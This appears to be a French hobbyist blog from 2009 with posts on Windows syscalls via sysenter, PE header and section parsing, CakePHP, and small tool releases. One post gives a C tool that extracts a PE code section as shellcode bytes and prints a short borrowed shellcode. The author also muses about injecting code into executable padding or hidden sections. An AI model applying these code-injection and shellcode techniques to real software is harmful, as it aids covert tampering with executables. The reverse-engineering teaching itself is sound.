lundi 15 juin 2009

Sysenter, ou les interruptions noyau sous windows

Hoy ! Ca faisait longtemps que je n'avais pas posté d'article ! Pour dire, y'a rien eu en mai, c'est navrant ! Mais, comme dirait Ivanlef0u, au lieu de poster pour rien dire, j'ai préféré fermer ma gueule.

Avant de commencer, je lui dois un grand merci. Sans lui, ma lanterne ne serait pas éclairée. Petit big up également à Lord 0vercl0k, qui a su se montrer très patient. Ils forment une belle paire, si vous voulez mon avis.

Bon, bon, bon. Entrons dans le vif du sujet : l'instruction sysenter en assembleur. On rencontre souvent cette instruction lorsqu'on trace dans les appels aux APIs pendant une session de debuging. Etant curieux, je m'étais posé la question suivante : Mais c'est quelle instruction qui affiche du flux à l'écran à l'intérieur de WriteFile() ?. Eh bien, j'ai été surpris de tomber sur l'instruction Sysenter qui faisait tout basculer. Mais à quoi correspond-elle ?

L'instruction sysenter correspond au passage du mode "userland" (appelé "ring 3") au kerneland ("ring 0"). Les rings, ou anneaux sont représentés par un numéro codé sur 2 bits (donc de 0 à 3). Plus le chiffre est bas, plus les privilèges sont élevés. Les APIs se contentent donc de faire exécuter tel ou tel code en ring0, et nous, on a juste à faire de simples appels sur les APIs. Ca facilite la vie, disons.

Mon objectif premier était de déclencher ma propre apparition de flux à l'écran à l'aide d'une interruption noyau. En me référant à la Windows System Call Table, j'avais essayé avec la fameuse NtWriteFile(), sans succès.

C'est là que je viens voir Ivanlef0u, et il me conseille de tenter avec NtQuerySystemInformation(). Cette fonction, très bas niveau, sert visiblement à obtenir des informations sur le système. Enfin, au lieu d'utiliser les fonctions de type Nt, il m'a plutôt fallu utiliser les fonctions en Zw ; c'est-à-dire ZwQuerySystemInformation().

Sa documentation dans la MSDN : http://msdn.microsoft.com/en-us/library/ms725506(VS.85).aspx.
Sa description est on ne peut plus claire : "Retrieves the specified system information.", ou "réquisitionne les informations systèmes spécifiées".

Sa signature n'étant pas disponible dans un .h, il faut aller récupérer son adresse dans ntdll.dll et sauter dessus, dont la plupart des fonctions ne sont nullement documentées. Pour cela, on va utiliser deux fonctions de l'API Win32 :

  • LoadLibrary() : elle prend exactement un paramètre : le nom de la DLL. Elle retourne un "handle" (ou poignée) sur cette DLL. Un "handle", en informatique, permet de manipuler un bloc de donnée. Imaginez par exemple une simple raquette de tennis : il vous faut une poignée pour manipuler la grande surface. Ici, c'est pareil ;

  • GetProcAddress() : elle prend respectivement en argument le handle retourné par LoadLibrary, et le nom de la fonction dont on veut l'adresse : ici, ça sera ZwQuerySystemInformation. GetProcAdress retourne aussi un handle, et cette fois, sur la fonction.



(Vous verrez qu'en API WIN32, beaucoup de chose sont une histoire d' "handle".)

Liens MSDN : LoadLibrary() et GetProcAddress().

Voici une solution de code C que j'ai pu pondre :
#include <windows.h>
#include <stdio.h>

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemNextEventIdInformation,
SystemEventIdsInformation,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemPlugPlayBusInformation,
SystemDockInformation,
SystemPowerInformation2,
SystemProcessorSpeedInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;


typedef struct _SYSTEM_BASIC_INFORMATION {
BYTE Reserved1[24];
PVOID Reserved2[4];
CCHAR NumberOfProcessors;
} SYSTEM_BASIC_INFORMATION;

typedef int (*MYPROC)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);

int main(int argc, char **argv) {

HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;
SYSTEM_BASIC_INFORMATION arg1;
hinstLib = LoadLibrary(TEXT("ntdll.dll"));

if (hinstLib != NULL) {
ProcAdd = (MYPROC)GetProcAddress(hinstLib, "ZwQuerySystemInformation");
if (NULL != ProcAdd) {
fRunTimeLinkSuccess = TRUE;
ProcAdd(SystemBasicInformation, (PVOID)&arg1, sizeof(arg1), NULL );
printf("Processeur : %d\n",arg1.NumberOfProcessors);
system("pause > nul");
}
fFreeResult = FreeLibrary(hinstLib);
}

return 0;
}


La source est disponible ici dans son intégralité : http://venom630.free.fr/geo/blog/sysenter/ZwQuerySystemInformation_c.txt.

Je n'ai pas commenté le code (et c'est très mal), mais je vais vous expliquer concrètement ce que j'ai fait. D'abord, j'ai récupéré la grosse "enum" sur un site qui regroupe un tas de structures/enums/fonctions non documentées par Microsoft (merci à 0vercl0k, d'ailleurs) : http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/System%20Information/SYSTEM_INFORMATION_CLASS.html, et la structure SYSTEM_BASIC_INFORMATION sur la MSDN.

Petite parenthèse, pour ceux que ça intéresse : la signification des préfixes Nt et Zw : Nt signifie "New technologie", et Zw n'a aucune signification. Pourquoi ? Pour éviter les collisions entre les noms de fonction.

Enfin, j'ai fourni l'exécutable en plus du code. Tout est téléchargeable ici.

Maintenant, on va debugger notre programme et tracer à l'intérieur du call à notre fonction chargée dynamiquement. On pose donc un break à l'adresse 00401320 comme ceci :

Et on lance le programme (F9) pour ensuite tracer dans le call pas à pas (F7). On tombe sur ça :
7C91D92E > B8 AD000000 MOV EAX,0AD
7C91D933 BA 0003FE7F MOV EDX,7FFE0300
7C91D938 FF12 CALL DWORD PTR DS:[EDX]
7C91D93A C2 1000 RETN 10


La première instruction met le numéro du syscall dans EAX. Si l'on regarde la Windows System Call Table fournie par MetaSploit, on voit bien qu'il s'agit de NtQuerySystemInformation. Ensuite, on met dans Edx une adresse qui correspond à celle de la fonction KiFastSystemCall() (merci à 0vercl0k pour ce petit rectificatif), et on l'appelle via le call. On trace dedans :
7C91E510 > 8BD4 MOV EDX,ESP
7C91E512 0F34 SYSENTER
7C91E514 > C3 RETN


La première instruction charge dans EDX la valeur d'ESP, ou le sommet de la pile. Probablement pour permettre, lors du passage dans ring0, de pouvoir revenir en Ring3. Apparement, les arguments de la fonction se situent aussi en-dessous dans la pile. On trace dans Sysenter, et on s'aperçoit que notre espace mémoire correspondant à arg1 en C a été modifié. A l'adresse 0022FF58, on a le nombre de processeurs dans notre ordinateur. Pour ma part, j'ai "1" car j'ai un monocore qui date un peu. Mais pour les processeurs double coeur, vous devriez voir "2" (merci à Ornlu pour avoir testé).

Voici ce que j'ai en mode console, en tout cas :
Processeur : 1


Quant aux fonctions qui affichent du flux à l'écran, elles appellent ZwRequestWaitReplyPort. Ivanlef0u m'a expliqué que la console est gérée bizarrement. Ca à donc l'air compliqué d'afficher du flux soi-même avec un sysenter. Si y'a un commentaire pour me dépanner, il est le bienvenue. Mes connaissances sur le sujet ne sont que peu conséquentes, je suis débutant.


Conclusion ?


Même windows utilise les syscalls, mais ceux-ci sont moins faciles d'implémentation qu'avec linux où, pour certaines fonctions, on peut se contenter de mettre les arguments dans les registres et d'appeler le service 80h en interruption noyau. Pour Windows, ça reste compliqué mais vachement intéressant.

On va se quitter avec quelques articles qui parlent de l'instruction sysenter, notamment avec des concepts mieux détaillés voire avancés :
Ivanlef0u's Blog > SYSENTER, stepping into da ring0
Plongeon dans les appels sytème windows, par Emilien Girault (big up à toi aussi, d'ailleurs)
First Steps Into Ring0, par 0vercl0k

A la prochaine !

Geo

mercredi 29 avril 2009

Format PE - Part II

Salut, salut.

Chose promise, chose due. Je continue l'aventure sur le format PE. Tout d'abord, je vais vous raconter ma sale journée vous résumer brièvement ce qu'évoquait le "Part I" :
- Etude de la définition du format ;
- Etude de l'en-tête DOS ;
- Etude de l'en-tête principale ;
- Afficher le timestamp de compilation - ou, pour rester français, la date à laquelle le programme a été traduit en code machine ;
- Afficher le nombre de sections.

Je m'étais arrêté sur le dernier point, et j'avais enchaîné avec un article qui récupérait le code machine de la section .code. Je parle de section, mais je ne l'ai pas vraiment définie. Alors, allons-y.

Je ne vais pas m'attarder sur google pour chercher une définition, mais plutôt essayer de vous expliquer tout cela comme si vous étiez en face de moi. Une section, dans un exécutable, c'est une sorte de paragraphe qui a ses propriétés. Chaque section a une en-tête qui lui est propre et qui définit ses caractéristiques. Voici celles que je suis en mesure de vous décrire succinctement :
- son nom, codé sur 8 octets ;
- sa taille virtuelle : la taille à réserver lors du chargement de la section en mémoire (je me suis servi de cette caractéristique pour le dump de la section .text, après avoir compilé le shellcode d'0vercl0k) ;
- son adresse virtuelle (on en parlera prochainement) ;
- l'offset du début de la section ;
- ...

Si vous ne comprenez toujours pas, je peux vous citer des exemples de section connues :
- .text : contient toutes les instructions binaires qui seront exécutées sequentiellement ;
- .rdata : contient les données nécessaires au programme (r = read). Par exemple, si vous avez fait, en C, un printf("Hello"), la chaîne de caractère sera écrite "en bazar" dans la section .rdata, et on accédera à cette chaîne via son adresse mémoire virtuelle ;
- .bss : espace mémoire réservé par le programme afin de permettre aux instructions machines de stocker des valeurs si besoin ;
- .idata : espace mémoire réservé pour la table des importations. Cette section renferme le nom des fonctions utilisées par le programme, ainsi que les bibliothèques dynamiques (ou DLL) chargées.

En résumé, si on se replonge dans le bain, un PE ressemble à ça :


Certes, pour ceux qui ont déjà lu de la documentation, ce schéma n'est pas exceptionnel et on le retrouve de partout.


Autre "trucs" que j'ai oubliés



Pour ceux qui ouvrent des exécutables avec OllyDbg, vous vous apercevez que les adresses mémoires sont de la forme 0040XXXX. Ce sont des adresses mémoires virtuelles. La base des adresses mémoires est définie dans l'en-tête optionnelle du PE :

00400098 0B01 DW 010B ; MagicNumber = PE32
0040009A 02 DB 02 ; MajorLinkerVersion = 2
0040009B 38 DB 38 ; MinorLinkerVersion = 38 (56.)
0040009C 000A0000 DD 00000A00 ; SizeOfCode = A00 (2560.)
004000A0 00120000 DD 00001200 ; SizeOfInitializedData = 1200 (4608.)
004000A4 00020000 DD 00000200 ; SizeOfUninitializedData = 200 (512.)
004000A8 80120000 DD 00001280 ; AddressOfEntryPoint = 1280
004000AC 00100000 DD 00001000 ; BaseOfCode = 1000
004000B0 00200000 DD 00002000 ; BaseOfData = 2000
004000B4 00004000 DD 00400000 ; ImageBase = 400000

(pour info, j'ai dumpé un bout de l'en-tête de mon fameux "Hello.exe" du part I, avec OllyDbg).

Je vous ai montré le champ important. Malgré ça, il y en a d'autres plutôt intéressants. Je n'expliciterai cependant pas là-dessus. Quoi, vous tenez quand même à savoir ?

Bon, eh bien, je dois vous avouer que j'aurais du le faire plus tôt ; je vais vous passer un pdf qui semble très bien résumer (mieux que moi, en tout cas) l'architecture du format PE. http://venom630.free.fr/geo/blog/format_pe_partii/Le_format_PE.pdf. A croire que cet article n'aurait servi à rien, si ce n'est vous retranscrire cela dans un langage peut-être plus familier !

Exceptionnellement, on ne va pas se quitter avec un code source. Il faut que je prenne le temps de me mettre à l'API WIN32, mais, en toute honnêteté, j'ai drôlement du mal à me familiariser avec la msdn et les noms de fonctions compliqués. A croire que je ne sais me servir que que Sleep() et de MessageBox(). Celui qui se marre, ... grmbl.


Conclusion ?


Là, encore, il n'y a pas grand chose à dire pour clore l'article, si ce n'est que le format PE est intéressant, et qu'une idée m'est venue à la tête concernant les sections. Je n'ai pas fait de recherche sur google, mais autant retranscrire l'idée maintenant (pour le peu de lecteurs qui suivent) : si on ne déclare pas une section avec son en-tête, se peut-il qu'on puisse allouer un espace mémoire non "détecté" dans les en-tête et y injecter du code malicieux ? A réfléchir. Ou pas.

Geo


URL de support : http://venom630.free.fr/geo/?path=blog/format_pe_partii (contient l'image et le pdf adéquats à l'article)

mardi 21 avril 2009

Faire des gâteaux avec PHP (CakePHP)

Yop,
afin de ne pas laisser le blog dans l'oubli, je me permets de rafraichir les nouvelles avec ce billet.
Je n'ai pas vraiment le temps et la motivation pour faire quoi que ce soit, ces temps-ci. Je vais donc essayer (et je dis bien, essayer) de vous parler d'un framework php que j'ai découvert via un tutoriel sur le site du zéro : CakePHP. Le tutoriel se situe à cette adresse : http://www.siteduzero.com/tutoriel-3-115159-cake-php-du-gateau-pour-tous-les-zeros.html, et est entretenu par Jibriss.


Il explique brièvement les bases, à savoir la définition d'un framework ou encore la programmation orientée objet (POO) en PHP, et nous parle un peu de ce fameux CakePHP. J'ai testé tout le bazar, et j'avoue être agréablement surpris par la simplicité de prise en main.

Un exemple tout con. J'ai l'habitude de taper mes formulaires html à la main, à savoir :
<form method="post" action="cible.php">
<table>
<tr>
<td>Nom :</td>
...
...


Le framework, lui, propose de taper ça :
<?php
echo $form->create('Livre');
echo $form->input('Nom');
echo $form->input('Prenom');
echo $form->end('Ajouter'); ?>


On n'a vraiment pas à se soucier de ce qui se passe derrière. Ça n'est cependant pas interdit de trifouiller les sources pour comprendre comment ça marche !

Le billet se termine ici. Court, je vous l'avoue. Mais faut bien donner des signes de vie, de temps en temps !

A la prochaine.

Geo

vendredi 3 avril 2009

Interlude : release de dbsave & GeoStr

Assis sur un fauteuil confortable, un homme qui semble être en costard se racle la gorge et vous présente les news du 3 Avril 2009.

Bien le bonjour ! Merci d'être avec nous en cette fin d'après midi. Aujourd'hui, Geo tient à vous annoncer deux choses :


Release de dbsave


Eh oui ! Je me suis dit qu'améliorer le script de back-up de bdd ne ferait aucun mal. En plus, j'y trouve mon compte. Ce qui change :
- Dump amélioré ;
- Gestion des clés primaires composées ;
- Possibilité d'entrées des paramètres en ligne de commande.

Le lien : http://venom630.free.fr/geo/tools/dbsave_php.txt


Release de GeoStr


Pour mes lecteurs, vous souvenez-vous de GeoStr ? Petit module amateur personnel qui permet de manipuler les chaînes de caractère en C !
J'ai ajouté la fonction GeoStr_trim ; l'équivalent de trim() en PHP. Sa signature :
char *GeoStr_trim(char *str);
Cette fonction se contente de nettoyer les "blancs" - espaces, tabulations, sauts de ligne etc - en début et fin de str... Et se contente de la retourner, tout simplement.

/!\ Et encore un sujet qui fâche : j'ai mis à votre dispositions deux "destructeurs" ; en effet, j'utilise l'allocation dynamique dans mes fonctions, et chaque malloc() a son free(). Vaut mieux rester propre.

void GeoStr_destroy(char *str);
Cette fonction libère la mémoire allouée par votre pointeur char*

void GeoStr_destroytab(char **tab);
Cette fonction libère les tableaux générés par la fonction GeoStr_explode().

http://venom630.free.fr/geo/?path=tools/GeoStr




C'était le journal l'interlude du blog.

Et pour la suite ?



J'avoue que je réserve tout de même un paragraphe pour vous annoncer que je risque de retomber dans une période de flemme. Faut pas m'en vouloir, je suis en vacances.
Sur ce, bon surf, et merci pour ceux qui se tiennent au jus.

J'oubliais... J'aime les nouilles.

Geo

mardi 31 mars 2009

Disseque ton PE, et récupère ta section code.

Salut salut,
étant donné les rapides soutiens dans les commentaires des articles précédents (et j'en remercie les auteurs) ainsi que d'une motivation inouïe, je me mets à continuer ma route sur le format PE. Cet article conclura le mois de mars avec brio, je l'espère.

Je me triture la cervelle en cours. Mais j'avais déjà réfléchi à injecter du code à la place des octets nuls présents à partir de 0x240, j'en avais parlé avec UnKnOwN*DrAgOoN - il est chiant à écrire, son pseudo - ; j'y suis arrivé, et j'y consacrerai un article plus tard.

Cet article servira de support à la pratique pour trifouiller le format PE. Il vous faudra unn outil intéressant que vous possédez certainement : Olly dbg. Pour ceux qui ne connaissent pas, Olly Dbg est un outil gratuit qui permet de désassembler des programmes afin de :
- Cracker (ouuuh c'est mal !) ;
- "Reverser" le programme - c'est-à-dire comprendre son fonctionnement en lisant le code assembleur ;
- Trouver le problème en cas d'algorithme mal implémenté ;
- ...

Ici, on va s'en servir pour analyser la mémoire d'un exécutable. Voici ce dont vous aurez besoin pour la pratique : http://venom630.free.fr/geo/?path=blog/pratique_pe.

Quatre fichiers :
- sh_over_asm.txt : shellcode conçu par 0vercl0k que j'ai piqué sur son blog (il ne m'en voudra pas, puisque je l'embrasse sur la fesse droite et lui adresse mes remerciements les plus profonds du cœur et tout) ;
- sh_over.exe : version compilée du shellcode d'0vercl0k (avec MASM32) ;
- ...

Vous verrez les deux fichiers plus tard. Je sais, j'ai un peu gâté, mais tant pis.

(Cliquez sur les images pour les voir en grand)

On ouvre sh_over.exe avec ollydbg, et on va voir dans la mémoire.


On tombe sur ça :


J'ai grisé la zone intéressante, qui va nous permettre de voir les en-têtes du format PE. Double-cliquez sur cette zone. Déplacez-vous jusqu'à, ensuite, trouver ça :


Je peux maintenant expliquer où je veux en venir. Je souhaite faire un programme qui ouvre un exécutable, en extrait le contenu de la section qui contient le code, et qui affiche les opcodes - équivalents binaires des instructions en assembleur - en dur dans la console (on peut enregistrer le flux de sortie via l'opérateur > dans la ligne de commandes).

Pour ce faire, j'ai besoin d'élaborer un algorithme précis. Tout d'abord, connaître l'offset de notre en-tête PE (logique), trouver le nombre de sections présentes ainsi que la taille de l'en-tête optionnelle. Une fois que j'ai trouvé ces informations, je peux me déplacer dans le fichier à la fin de l'en-tête optionnelle pour trouver l'en-tête des options qui suivent (cf. capture d'écran).

Je peux aussi élaborer une structure C de l'en-tête d'une section (Pour info, ne maîtrisant pas l'API Win32, je ne me servirai pas de windows.h pour prendre la structure toute faite) :

typedef struct {
char name[8];
long VirtualSize,
VirtualAddress,
SizeOfRawData,
PointerToRawData,
PointerToRelocations,
PointerToLineNumbers;

short NumberOfRelocations,
NumberOfLineNumbers;

long Characteristics;
} Section_Pe;


La section fait 40 octets ; multiple de 4, donc pas de problème de Data Structure Alignment. Le lien pointe sur un article de 5m0k3 qui évoque ce concept, et je vous le recommande car je n'irai pas plus loin. Il ne faut pas dériver du sujet.

Dans notre structure :
- il faudra vérifier que le membre Characteristics ait le flag "Je contiens du code" actif ; si ce n'est pas le cas, on saute à la section suivante (si y'en a plusieurs) ;
- dès qu'on aura la section qui nous intéresse, on se déplacera en dur dans le fichier à l'aide du membre PointerToRawData ;
- On lira les opcodes via une boucle for() qui s'arrêtera jusqu'à SizeOfRawData.

PointerToRawData contient 200. Voyons voir...


J'en mets mon zizi à couper qu'il s'agit de notre section qui contient le code exécutable !

Vraiment bien foutue et utile, cette en-tête de section. Au fait, j'aurais pu faire un algorithme qui trouve la section ".text", mais la section de code ne s'appelle pas tout le temps comme ça ; c'est, certes, une convention, mais les compilateur Borland nomment cette section "CODE". Et puis, elles ont le nom qu'elles veulent.

Au final, j'élabore un code (que je commente au max) qui va dumper la section code de notre exécutable pour ensuite se servir des opcodes en tant que shellcode, et j'en passe. Ce fut une bonne expérience pour moi afin de comprendre davantage le PE.

Voici le code :
#include <stdio.h>
#include <stdlib.h>
#define OFFSET_E_LFANEW 0x3C // Offset absolu contenant l'offset d'en-tête PE
#define MOTMAGIQUE 0x00004550 // Mot magique de l'en-tête PE ('PE#0#0')
#define CONTAINS_CODE 0x020 // Flag qui vérifie si la section PE contient du code

// Structure représentant l'en-tête d'une section PE
typedef struct {
char name[8];
long VirtualSize,
VirtualAddress,
SizeOfRawData,
PointerToRawData,
PointerToRelocations,
PointerToLineNumbers;

short NumberOfRelocations,
NumberOfLineNumbers;

long Characteristics;
} Section_Pe;


int main(int argc, char **argv) {

// Il faut inciter à fournir les arguments en ligne de commande
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(EXIT_FAILURE);
}

long MagicWord, // Mot magique pour vérifier qu'il s'agit bien d'un PE
OffsetPeHeader; // L'offset du header PE
short NumberOfSections, // Nombre de sections
SizeOptionalHeader; // taille header optionnel
FILE *fe; // Pointeur de fichier

// On essaie d'ouvrir le fichier exécutable
if((fe = fopen(argv[1],"rb")) == NULL) {
printf("Erreur lors de l'ouverture de %s !\n",argv[1]);
exit(EXIT_FAILURE);
}
// On se déplace a l'offset (à partir du début) qui contient lui-même
// l'offset de la signature PE, puis on a lit
fseek(fe, OFFSET_E_LFANEW, SEEK_SET);
fread(&OffsetPeHeader, 1, sizeof(long), fe);

// On s'y déplace
fseek(fe, OffsetPeHeader, SEEK_SET);

// On lit le mot magique et on vérifie sa conformité
fread(&MagicWord, 1, sizeof(long), fe);
if(MagicWord != MOTMAGIQUE) {
printf("Ce fichier n'est pas un PE.\n");
exit(EXIT_FAILURE);
}

// On se déplace pour trouver le nombre de sections (toujours à partir du début)
// Le + 2 sert à sauter par dessus le mot magique & le nombre représentant l'architecture système
// qui ne nous intéresse pas.
fseek(fe, 2, SEEK_CUR);

// On lit le nombre de sections
fread(&NumberOfSections, 1, sizeof(short), fe);
// On s'occupe ensuite de savoir s'il y a une en-tête optionnelle
// en récupérant sa taille. Si != 0, alors elle existe.
// On saute le timestamp (+4), L'adresse pointant
// vers la table des symboles (+4) et le nombre des symboles (+4)
// = 12 octets
fseek(fe, 12, SEEK_CUR);

// On lit la taille de l'header optionnel
fread(&SizeOptionalHeader, 1, sizeof(short), fe);

// Et on se déplace jusqu'aux en-têtes de sections
// (ou jusqu'à l'en-tête section, s'il n'y en a qu'une)
// après avoir sauté les caractéristiques (+2)
fseek(fe, 2 + SizeOptionalHeader, SEEK_CUR);
// On lit la première section
Section_Pe SectionActuelle;
fread(&SectionActuelle, 1, sizeof(Section_Pe), fe);



// Tant que la section lue ne contient pas du code, on cherche la bonne
while(!(SectionActuelle.Characteristics & CONTAINS_CODE)) {
fread(&SectionActuelle, 1, sizeof(Section_Pe), fe);
}

// On a notre section exécutable. On affiche ses informations
printf("Name = %s\n"
"VirtualSize = 0x%x (%d.)\n"
"VirtualAddress = %d\n"
"SizeOfRawData = 0x%x (%d.)\n"
"PointerToRawData = 0x%x\n\n",
SectionActuelle.name, SectionActuelle.VirtualSize, SectionActuelle.VirtualSize,
SectionActuelle.VirtualAddress,SectionActuelle.SizeOfRawData, SectionActuelle.SizeOfRawData,
SectionActuelle.PointerToRawData);

// On s'y positionne
fseek(fe, SectionActuelle.PointerToRawData, SEEK_SET);

// On lit les octets (opcodes) et on les affiche sous la forme \xXX
int i; // compteur de boucle
unsigned char opcode; // opcode lu
for(i = 0; i < SectionActuelle.VirtualSize; i++) {
fread(&opcode, 1, sizeof(char), fe);
printf("\\x%02X", opcode);
}
printf("\n");
fclose(fe);
return EXIT_SUCCESS;
}

Source disponible ici : http://venom630.free.fr/geo/blog/pratique_pe/shellcodeme_c.txt - Exécutable disponible ici : http://venom630.free.fr/geo/blog/pratique_pe/shellcodeme.exe


C:\Pratique_format_PE>shellcodeme sh_over.exe
Name = .text
VirtualSize = 0x3b (59.)
VirtualAddress = 4096
SizeOfRawData = 0x200 (512.)
PointerToRawData = 0x200

\x33\xDB\x33\xC0\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\xBF
\x77\x1D\x80\x7C\x54\xFF\xD7\x53\x68\x63\x6C\x30\x6B\x68\x30\x76\x65\x72\x8B\xCC
\x53\x51\x51\x53\xBF\x0B\x05\xD5\x77\xFF\xD7\x53\xBF\xA2\xCA\x81\x7C\xFF\xD7


Conclusion



Pff... Que dire ? Que ça m'a occupé deux bonnes heures pour éviter les pensées négatives ? Je sais pas. On a qu'à dire que je trace mon évolution.

Par ailleurs, j'aspire à penser qu'il existe sûrement des outils qui se chargent de faire ça ; Heurs et Squallsurf en ont peut-être codé un semblable que j'ai pas réussi à faire marcher, mais je viens de comprendre pourquoi ils disaient que le code C ne devaient pas comporter d'appels à des fonctions extérieures. Effectivement, en assembleur, cela se traduit par des CALL. Et les fonctions se trouvent peut-être ailleurs... M'enfin, je préfère m'abstenir de dire des conneries, d'où le "peut-être".

C'est tout. J'espère continuer sur cette lancée, et merci aux soutiens, ça fait véritablement plaisir.

Je vous laisse, j'ai des devoirs à faire. Merde.

dimanche 29 mars 2009

Format PE *réinvente la roue* - Part I

Salut,
Afin de ne pas sombrer dans l'ennui, la paresse et le "j'fous rien", je décide de me mettre - moi aussi - à l'étude du format PE. Certes, on retrouve cette documentation un peu partout, mais un des meilleurs moyens (pour ma part) d'assimiler tout ça n'est autre que de rédiger un article avec une démarche, je l'espère, précise et très explicative.

Parlons donc du format PE (un truc dont on ne parlera jamais en cours, c'est bien dommage). Les initiales signifient, respectivement "Portable Executable". Si on fait un cours d'histoire, on va résumer les grandes lignes : c'est un format qui définit l'architecture des programmes microsoft, ainsi que des DLLs voire des pilotes de matériels. Le "Portable" signifie, ici, que les données peuvent être exécutées d'un système à un autre.

En gros, sans vouloir la jouer compliquer, ce put*** de format PE spécifie les programmes qui se terminent en .exe que nous utilisons souvent (voilà, c'était simple).

Vite s'armer (au cas où)


Je vous ai préparé un éditeur hexadécimal, un exécutable accompagné de sa source et de son dump pour faciliter la pratique. Pour l'exécutable, comme vous l'aurez compris, j'ai pas cherché à faire compliqué !

Analysons en douceur les premières lignes :
00000000:  4D 5A 90 00 03 00 00 00  04 00 00 00 FF FF 00 00  MZ..........ÿÿ..
00000010: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ¸.......@.......
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 ............€...
00000040: 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..º..´.Í!¸.LÍ!Th
00000050: 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
00000060: 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
00000070: 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......


Cette en-tête est peu intéressante par rapport à ce qui nous attend, mais il convient de l'analyser. En premier, on a la suite d'octets 'MZ' qui correspond au "mot magique", c'est-à-dire à la signature de l'en-tête DOS. Effectivement, si nous essayons de lancer ce programme en mode DOS - ce n'est pas ce qu'on veut - alors le programme se basera sur MZ et la suite...

Si vous ne comprenez pas la notion de signature ou mot magique, dites-vous que certains autres formats ont leur propre mot magique. Les fichiers bitmap on 'BM', les archives zip on 'PK', les sons wav on 'RIFF', etc...

Ce morceau de code, si lancé dans un environnement DOS, se contentera d'afficher gentiment "This program cannot be run in DOS mode" grâce au service 9 de l'interruption 0x21 qui permet d'afficher un message à l'écran. En clair, il veut dire "Mais espèce de sac-à-foutre, change d'OS et prends Windows 9x voire NT si t'es pas ringard !". Je sais, c'est brusque, mais je suis pas là pour faire des paroles mystérieuses et intellectuelles comme les grands philosophes. Naturel, quoi.

Je dérive, je dérive... Continuons. A l'offset 0x3C, on a une valeur DWORD (Double Word = double mot = 4 octets) qui correspond à l'offset absolu du header PE, celui qui nous intéresse. Ici, on a 0x80 ; ça signifie que notre en-tête PE commence à l'offset 0x80 (sans déconner ?).

Voyons ça !
00000080:  50 45 00 00 4C 01 05 00  38 5B CE 49 00 16 00 00  PE..L...8[ÎI....
00000090: CD 01 00 00 E0 00 07 03 0B 01 02 38 00 0A 00 00 Í...à......8....
000000A0: 00 12 00 00 00 02 00 00 80 12 00 00 00 10 00 00 ........€.......
000000B0: 00 20 00 00 00 00 40 00 00 10 00 00 00 02 00 00 . ....@.........
000000C0: 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 ................
000000D0: 00 60 00 00 00 04 00 00 97 C8 00 00 03 00 00 00 .`......—È......
000000E0: 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 .. .............
000000F0: 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................


Apparemment, notre compte est bon. On voit un mot magique "PE" en tout début. La spécification du format PE exige que le mot magique soit codé sur 4 octets et contienne octet pour octet PE#0#0, soit 'PE' suivi de deux octets nuls (ou null bytes). Pour preuve, essayez de mettre autre chose à la place des deux zéros, vous risquerez d'obtenir une cochonnerie du genre :
C:\DOCUME~1\Geoffrey\C\sources>hello
This program cannot be run in DOS mode.

C:\DOCUME~1\Geoffrey\C\sources>


Comme par hasard ! Dans le cas où l'header aurait été valide, on aurait eu tout autant un résultat pourri et inutile qu'est mon "Hello, world!" de la mort qui tue. T'peux pas test.

Après ce fameux mot magique, on a d'autres informations :
[*] 0x80+4 : WORD (2 octets) = type d'architecture de la machine. Ici, on a 0x014C, qui correspond apparemment à I386.
[*] 0x80+6 : WORD (2 octets) = nombre de sections dans le programme.

On va pas s'attarder sur les sections, mais en gros, ça correspond au .data, .bss, .text si vous faites de l'assembleur. La section .data contient des ressources (données basiques) dont le programme peut avoir besoin. Le .bss représente un espace mémoire prêt à recevoir des données (du moins, en asm), et le .text représente votre page de code qui sera exécutée. Là, y'a 5 sections, mais on verra ça plus tard (à vrai dire, je me suis pas plongé dedans, je fais tout en live et ça me forme).

[*]0x80+8 : DWORD (4 octets) = timestamp correspondand à l'heure de compilation du programme. Faudrait essayer, tiens. Ici, on a 0x49CE5B38, soit 1238260536. Que nous donne le script php suivant ?
<?php
echo "Programme compile le ".date('d/m/Y', 1238260536)." a ".date('H:i:s', 1238260536)."\n";
?>


==>

C:\DOCUME~1\Geoffrey\C\sources>php check_timestamp.php
Programme compile le 28/03/2009 a 18:15:36


Bordel ! Maintenant, je me souviens que j'avais fait ce fameux "Hello, world!" pour tester la réinstallation de mon environnement CodeBlocks. Ça marche vraiment, hohoho !

